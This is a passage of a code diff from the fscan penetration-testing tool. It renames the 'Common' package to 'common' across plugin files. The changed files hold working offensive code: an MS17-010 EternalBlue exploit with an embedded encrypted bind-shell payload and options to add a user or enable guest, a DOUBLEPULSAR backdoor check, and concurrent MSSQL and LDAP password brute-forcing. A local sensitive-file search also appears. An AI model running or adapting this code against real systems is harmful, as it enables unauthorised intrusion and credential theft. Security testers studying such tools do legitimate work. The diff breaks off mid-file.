address := fmt.Sprintf("%s:%s", info.Host, info.Ports) address := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 使用上下文控制的拨号过程 // 使用上下文控制的拨号过程
conn, err := Common.WrapperTcpWithContext(ctx, "tcp", address) conn, err := common.WrapperTcpWithContext(ctx, "tcp", address)
if err != nil { if err != nil {
return false, err return false, err
} }
@ -270,7 +271,7 @@ func LDAPConn(ctx context.Context, info *Common.HostInfo, user string, pass stri
} }
// saveLDAPResult 保存LDAP扫描结果 // saveLDAPResult 保存LDAP扫描结果
func saveLDAPResult(info *Common.HostInfo, target string, result *LDAPScanResult) { func saveLDAPResult(info *common.HostInfo, target string, result *LDAPScanResult) {
var successMsg string var successMsg string
var details map[string]interface{} var details map[string]interface{}
@ -293,15 +294,15 @@ func saveLDAPResult(info *Common.HostInfo, target string, result *LDAPScanResult
} }
} }
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: details, Details: details,
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }

View File

@ -2,7 +2,7 @@ package Plugins
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"os" "os"
"path/filepath" "path/filepath"
"runtime" "runtime"
@ -91,13 +91,13 @@ var (
) )
// LocalInfoScan 本地信息收集主函数 // LocalInfoScan 本地信息收集主函数
func LocalInfoScan(info *Common.HostInfo) (err error) { func LocalInfoScan(info *common.HostInfo) (err error) {
Common.LogBase("开始本地信息收集...") common.LogBase("开始本地信息收集...")
// 获取用户主目录 // 获取用户主目录
home, err := os.UserHomeDir() home, err := os.UserHomeDir()
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err)) common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
return err return err
} }
@ -107,7 +107,7 @@ func LocalInfoScan(info *Common.HostInfo) (err error) {
// 根据规则搜索敏感文件 // 根据规则搜索敏感文件
searchSensitiveFiles() searchSensitiveFiles()
Common.LogBase("本地信息收集完成") common.LogBase("本地信息收集完成")
return nil return nil
} }
@ -154,7 +154,7 @@ func scanFixedLocations(home string) {
// checkAndLogFile 检查并记录敏感文件 // checkAndLogFile 检查并记录敏感文件
func checkAndLogFile(path string) { func checkAndLogFile(path string) {
if _, err := os.Stat(path); err == nil { if _, err := os.Stat(path); err == nil {
Common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path)) common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
} }
} }
@ -208,7 +208,7 @@ func searchSensitiveFiles() {
for _, white := range whitelist { for _, white := range whitelist {
fileName := strings.ToLower(info.Name()) fileName := strings.ToLower(info.Name())
if strings.Contains(fileName, white) { if strings.Contains(fileName, white) {
Common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path)) common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
break break
} }
} }

View File

@ -5,7 +5,7 @@ import (
"encoding/binary" "encoding/binary"
"encoding/hex" "encoding/hex"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"io" "io"
"io/ioutil" "io/ioutil"
"net" "net"
@ -14,19 +14,19 @@ import (
) )
// MS17010EXP 执行MS17-010漏洞利用 // MS17010EXP 执行MS17-010漏洞利用
func MS17010EXP(info *Common.HostInfo) { func MS17010EXP(info *common.HostInfo) {
address := info.Host + ":445" address := info.Host + ":445"
var sc string var sc string
// 根据不同类型选择shellcode // 根据不同类型选择shellcode
switch Common.Shellcode { switch common.Shellcode {
case "bind": case "bind":
// msfvenom生成的Bind Shell, 监听64531端口 // msfvenom生成的Bind Shell, 监听64531端口
sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
var err error var err error
sc, err = AesDecrypt(sc_enc, key) sc, err = AesDecrypt(sc_enc, key)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err)) common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err))
return return
} }
@ -40,7 +40,7 @@ func MS17010EXP(info *Common.HostInfo) {
var err error var err error
sc, err = AesDecrypt(sc_enc, key) sc, err = AesDecrypt(sc_enc, key)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err)) common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err))
return return
} }
@ -50,21 +50,21 @@ func MS17010EXP(info *Common.HostInfo) {
var err error var err error
sc, err = AesDecrypt(sc_enc, key) sc, err = AesDecrypt(sc_enc, key)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err)) common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err))
return return
} }
default: default:
// 从文件读取或直接使用提供的shellcode // 从文件读取或直接使用提供的shellcode
if strings.Contains(Common.Shellcode, "file:") { if strings.Contains(common.Shellcode, "file:") {
read, err := ioutil.ReadFile(Common.Shellcode[5:]) read, err := ioutil.ReadFile(common.Shellcode[5:])
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err)) common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", common.Shellcode, err))
return return
} }
sc = fmt.Sprintf("%x", read) sc = fmt.Sprintf("%x", read)
} else { } else {
sc = Common.Shellcode sc = common.Shellcode
} }
} }
@ -77,18 +77,18 @@ func MS17010EXP(info *Common.HostInfo) {
// 解码shellcode // 解码shellcode
sc1, err := hex.DecodeString(sc) sc1, err := hex.DecodeString(sc)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err)) common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err))
return return
} }
// 执行EternalBlue漏洞利用 // 执行EternalBlue漏洞利用
err = eternalBlue(address, 12, 12, sc1) err = eternalBlue(address, 12, 12, sc1)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err)) common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err))
return return
} }
Common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host)) common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host))
} }
// eternalBlue 执行EternalBlue漏洞利用 // eternalBlue 执行EternalBlue漏洞利用
@ -189,10 +189,10 @@ func exploit(address string, grooms int, payload []byte) error {
// 提取NT状态码 // 提取NT状态码
ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]} ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]}
Common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus)) common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus))
// 发送payload // 发送payload
Common.LogSuccess("开始发送Payload") common.LogSuccess("开始发送Payload")
body := makeSMB2Body(payload) body := makeSMB2Body(payload)
// 分段发送payload // 分段发送payload
@ -208,7 +208,7 @@ func exploit(address string, grooms int, payload []byte) error {
} }
} }
Common.LogSuccess("Payload发送完成") common.LogSuccess("Payload发送完成")
return nil return nil
} }

View File

@ -4,7 +4,8 @@ import (
"encoding/binary" "encoding/binary"
"encoding/hex" "encoding/hex"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"os" "os"
"strings" "strings"
"time" "time"
@ -32,88 +33,88 @@ func init() {
// 解密协议请求 // 解密协议请求
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key) decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err)) common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
os.Exit(1) os.Exit(1)
} }
negotiateProtocolRequest, err = hex.DecodeString(decrypted) negotiateProtocolRequest, err = hex.DecodeString(decrypted)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err)) common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
os.Exit(1) os.Exit(1)
} }
// 解密会话请求 // 解密会话请求
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key) decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err)) common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
os.Exit(1) os.Exit(1)
} }
sessionSetupRequest, err = hex.DecodeString(decrypted) sessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err)) common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
os.Exit(1) os.Exit(1)
} }
// 解密连接请求 // 解密连接请求
decrypted, err = AesDecrypt(treeConnectRequest_enc, key) decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err)) common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
os.Exit(1) os.Exit(1)
} }
treeConnectRequest, err = hex.DecodeString(decrypted) treeConnectRequest, err = hex.DecodeString(decrypted)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err)) common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
os.Exit(1) os.Exit(1)
} }
// 解密管道请求 // 解密管道请求
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key) decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err)) common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
os.Exit(1) os.Exit(1)
} }
transNamedPipeRequest, err = hex.DecodeString(decrypted) transNamedPipeRequest, err = hex.DecodeString(decrypted)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err)) common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
os.Exit(1) os.Exit(1)
} }
// 解密会话设置请求 // 解密会话设置请求
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key) decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err)) common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
os.Exit(1) os.Exit(1)
} }
trans2SessionSetupRequest, err = hex.DecodeString(decrypted) trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err)) common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
os.Exit(1) os.Exit(1)
} }
} }
// MS17010 扫描入口函数 // MS17010 扫描入口函数
func MS17010(info *Common.HostInfo) error { func MS17010(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
err := MS17010Scan(info) err := MS17010Scan(info)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err)) common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
} }
return err return err
} }
func MS17010Scan(info *Common.HostInfo) error { func MS17010Scan(info *common.HostInfo) error {
ip := info.Host ip := info.Host
// 连接目标 // 连接目标
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
if err != nil { if err != nil {
return fmt.Errorf("连接错误: %v", err) return fmt.Errorf("连接错误: %v", err)
} }
defer conn.Close() defer conn.Close()
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { if err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("设置超时错误: %v", err) return fmt.Errorf("设置超时错误: %v", err)
} }
@ -157,7 +158,7 @@ func MS17010Scan(info *Common.HostInfo) error {
if wordCount := sessionSetupResponse[0]; wordCount != 0 { if wordCount := sessionSetupResponse[0]; wordCount != 0 {
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 { if n != int(byteCount)+45 {
Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip)) common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
} else { } else {
for i := 10; i < len(sessionSetupResponse)-1; i++ { for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
@ -212,20 +213,20 @@ func MS17010Scan(info *Common.HostInfo) error {
} }
if os != "" { if os != "" {
details["os"] = os details["os"] = os
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os)) common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
} else { } else {
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip)) common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
} }
// 保存 MS17-010 漏洞结果 // 保存 MS17-010 漏洞结果
result := &Common.ScanResult{ result := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: ip, Target: ip,
Status: "vulnerable", Status: "vulnerable",
Details: details, Details: details,
} }
Common.SaveResult(result) common.SaveResult(result)
// DOUBLEPULSAR 后门检测 // DOUBLEPULSAR 后门检测
trans2SessionSetupRequest[28] = treeID[0] trans2SessionSetupRequest[28] = treeID[0]
@ -245,12 +246,12 @@ func MS17010Scan(info *Common.HostInfo) error {
} }
if reply[34] == 0x51 { if reply[34] == 0x51 {
Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip)) common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
// 保存 DOUBLEPULSAR 后门结果 // 保存 DOUBLEPULSAR 后门结果
backdoorResult := &Common.ScanResult{ backdoorResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: ip, Target: ip,
Status: "backdoor", Status: "backdoor",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -259,20 +260,20 @@ func MS17010Scan(info *Common.HostInfo) error {
"os": os, "os": os,
}, },
} }
Common.SaveResult(backdoorResult) common.SaveResult(backdoorResult)
} }
// Shellcode 利用部分保持不变 // Shellcode 利用部分保持不变
if Common.Shellcode != "" { if common.Shellcode != "" {
defer MS17010EXP(info) defer MS17010EXP(info)
} }
} else if os != "" { } else if os != "" {
Common.LogBase(fmt.Sprintf("系统信息 %s [%s]", ip, os)) common.LogBase(fmt.Sprintf("系统信息 %s [%s]", ip, os))
// 保存系统信息 // 保存系统信息
sysResult := &Common.ScanResult{ sysResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.SERVICE, Type: output.TypeService,
Target: ip, Target: ip,
Status: "identified", Status: "identified",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -281,7 +282,7 @@ func MS17010Scan(info *Common.HostInfo) error {
"os": os, "os": os,
}, },
} }
Common.SaveResult(sysResult) common.SaveResult(sysResult)
} }
return nil return nil

View File

@ -10,7 +10,8 @@ import (
"time" "time"
mssql "github.com/denisenkom/go-mssqldb" mssql "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// MSSQLProxyDialer 自定义dialer结构体 // MSSQLProxyDialer 自定义dialer结构体
@ -20,7 +21,7 @@ type MSSQLProxyDialer struct {
// DialContext 实现mssql.Dialer接口支持socks代理 // DialContext 实现mssql.Dialer接口支持socks代理
func (d *MSSQLProxyDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) { func (d *MSSQLProxyDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) {
return Common.WrapperTcpWithContext(ctx, network, addr) return common.WrapperTcpWithContext(ctx, network, addr)
} }
// MssqlCredential 表示一个MSSQL凭据 // MssqlCredential 表示一个MSSQL凭据
@ -37,22 +38,22 @@ type MssqlScanResult struct {
} }
// MssqlScan 执行MSSQL服务扫描 // MssqlScan 执行MSSQL服务扫描
func MssqlScan(info *Common.HostInfo) error { func MssqlScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 构建凭据列表 // 构建凭据列表
var credentials []MssqlCredential var credentials []MssqlCredential
for _, user := range Common.Userdict["mssql"] { for _, user := range common.Userdict["mssql"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, MssqlCredential{ credentials = append(credentials, MssqlCredential{
Username: user, Username: user,
@ -61,11 +62,11 @@ func MssqlScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["mssql"]), len(Common.Passwords), len(credentials))) len(common.Userdict["mssql"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentMssqlScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentMssqlScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveMssqlResult(info, target, result.Credential) saveMssqlResult(info, target, result.Credential)
@ -75,18 +76,18 @@ func MssqlScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("MSSQL扫描全局超时") common.LogDebug("MSSQL扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil return nil
} }
} }
// concurrentMssqlScan 并发扫描MSSQL服务 // concurrentMssqlScan 并发扫描MSSQL服务
func concurrentMssqlScan(ctx context.Context, info *Common.HostInfo, credentials []MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult { func concurrentMssqlScan(ctx context.Context, info *common.HostInfo, credentials []MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -132,7 +133,7 @@ func concurrentMssqlScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -153,14 +154,14 @@ func concurrentMssqlScan(ctx context.Context, info *Common.HostInfo, credentials
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("MSSQL并发扫描全局超时") common.LogDebug("MSSQL并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryMssqlCredential 尝试单个MSSQL凭据 // tryMssqlCredential 尝试单个MSSQL凭据
func tryMssqlCredential(ctx context.Context, info *Common.HostInfo, credential MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult { func tryMssqlCredential(ctx context.Context, info *common.HostInfo, credential MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -173,7 +174,7 @@ func tryMssqlCredential(ctx context.Context, info *Common.HostInfo, credential M
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -192,7 +193,7 @@ func tryMssqlCredential(ctx context.Context, info *Common.HostInfo, credential M
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -207,9 +208,9 @@ func tryMssqlCredential(ctx context.Context, info *Common.HostInfo, credential M
} }
// MssqlConn 尝试MSSQL连接 // MssqlConn 尝试MSSQL连接
func MssqlConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) { func MssqlConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(common.Timeout) * time.Second
// 构造连接字符串 // 构造连接字符串
connStr := fmt.Sprintf( connStr := fmt.Sprintf(
@ -218,7 +219,7 @@ func MssqlConn(ctx context.Context, info *Common.HostInfo, user string, pass str
) )
// 检查是否需要使用socks代理 // 检查是否需要使用socks代理
if Common.Socks5Proxy != "" { if common.Socks5Proxy != "" {
// 使用自定义dialer创建连接器 // 使用自定义dialer创建连接器
connector, err := mssql.NewConnector(connStr) connector, err := mssql.NewConnector(connStr)
if err != nil { if err != nil {
@ -227,7 +228,7 @@ func MssqlConn(ctx context.Context, info *Common.HostInfo, user string, pass str
// 设置自定义dialer // 设置自定义dialer
connector.Dialer = &MSSQLProxyDialer{ connector.Dialer = &MSSQLProxyDialer{
timeout: time.Duration(Common.Timeout) * time.Millisecond, timeout: time.Duration(common.Timeout) * time.Millisecond,
} }
// 使用连接器创建数据库连接 // 使用连接器创建数据库连接
@ -310,14 +311,14 @@ func MssqlConn(ctx context.Context, info *Common.HostInfo, user string, pass str
} }
// saveMssqlResult 保存MSSQL扫描结果 // saveMssqlResult 保存MSSQL扫描结果
func saveMssqlResult(info *Common.HostInfo, target string, credential MssqlCredential) { func saveMssqlResult(info *common.HostInfo, target string, credential MssqlCredential) {
successMsg := fmt.Sprintf("MSSQL %s %v %v", target, credential.Username, credential.Password) successMsg := fmt.Sprintf("MSSQL %s %v %v", target, credential.Username, credential.Password)
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -328,5 +329,5 @@ func saveMssqlResult(info *Common.HostInfo, target string, credential MssqlCrede
"type": "weak-password", "type": "weak-password",
}, },
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }

View File

@ -3,7 +3,8 @@ package Plugins
import ( import (
"context" "context"
"fmt" "fmt"
